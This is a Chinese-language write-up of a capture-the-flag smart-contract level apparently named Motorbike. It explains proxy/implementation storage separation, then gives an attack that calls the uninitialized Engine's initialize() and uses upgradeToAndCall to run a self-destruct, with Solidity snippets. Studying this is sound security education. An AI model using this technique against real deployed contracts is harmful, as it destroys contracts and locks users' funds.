Motorbike
Reference
目标
让合约无法正常使用
分析
代理合约
Proxy
合约存储状态,Engine
合约存储逻辑Engine
合约的数据更新不会影响Proxy
合约的数据,因为Proxy
只会使自己合约存储的数据Proxy
合约的数据更新不会影响Engine
合约的数据Proxy
合约的数据更新只会影响Engine
合约的函数判断,因为Proxy
会把Engine
合约逻辑拿到Proxy EVM
环境中执行
Engine-initialize
function initialize() external initializer {
horsePower = 1000;
upgrader = msg.sender;
}
Proxy
部署时执行了Engine
合约的initialize()
函数,但是 delegatecall 的数据更新仅存在 Proxy 合约中- 在
Engine
中数据存储仍然为空
Engine-upgradeAndCall()
function upgradeToAndCall(address newImplementation, bytes memory data)
external
payable
{
_authorizeUpgrade();
_upgradeToAndCall(newImplementation, data);
}
- 函数需要
upgrade
地址调用 - 在
Engine
逻辑合约中,upgrade
通过调用initialize()
函数更新 _upgradeToAndCall
更新逻辑地址并发起 delegatecall 的初始化交易
实现逻辑–修改admin为attack()合约地址
- 部署
Attack()
合约,实现自毁函数 - 调用
Engine
合约initialize()
函数,注册成为upgrade
- 在
Engine
合约中调用upgradeAndCall()
函数:Attack()
作为逻辑地址- 初始化代码执行自毁函数
function attack() external {
engine.initialize();
bytes memory data = abi.encodeWithSelector(this.destroy.selector);
engine.upgradeToAndCall(address(this), data);
}